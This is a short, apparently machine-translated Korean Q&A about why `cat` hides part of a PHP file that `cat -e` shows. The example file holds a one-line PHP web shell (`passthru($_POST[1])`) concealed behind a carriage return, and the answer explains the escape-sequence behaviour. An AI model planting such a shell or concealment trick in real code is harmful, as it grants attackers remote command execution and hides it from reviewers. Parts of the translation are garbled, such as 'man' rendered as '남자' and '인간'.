보시다시피 제가 만든 것은 index.php
다음과 같습니다.
$ echo -e "<?php passthru(\$_POST[1])?>\r<?php echo 'A PHP Test ';" > index.php
그런 다음:
$ cat index.php
<?php echo 'A PHP Test ';?>
하지만:
$ cat -e index.php
<?php passthru($_POST[1])?>^M<?php echo 'A PHP Test ';$
이것을 어떻게 설명해야 할까요?
답변1
~에서남자 에코
-e
enable interpretation of backslash escapes
If -e is in effect, the following sequences are recognized:
\r
carriage return
~에서인간 고양이
-e
equivalent to -vE
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
내가 이해한 바에 따르면 \r
표현식은 캐리지 리턴을 반환하므로 리턴 이후의 모든 내용을 에코하므로 출력을 단순화할 때 cat index.php
출력은 입니다 <?php echo 'A PHP Test ';?>
.
옵션을 사용 하면 옵션과 마찬가지로 cat
인쇄되지 않는 문이 있고 -e
줄 맨 끝에 옵션이 인쇄됩니다.^M
$
-E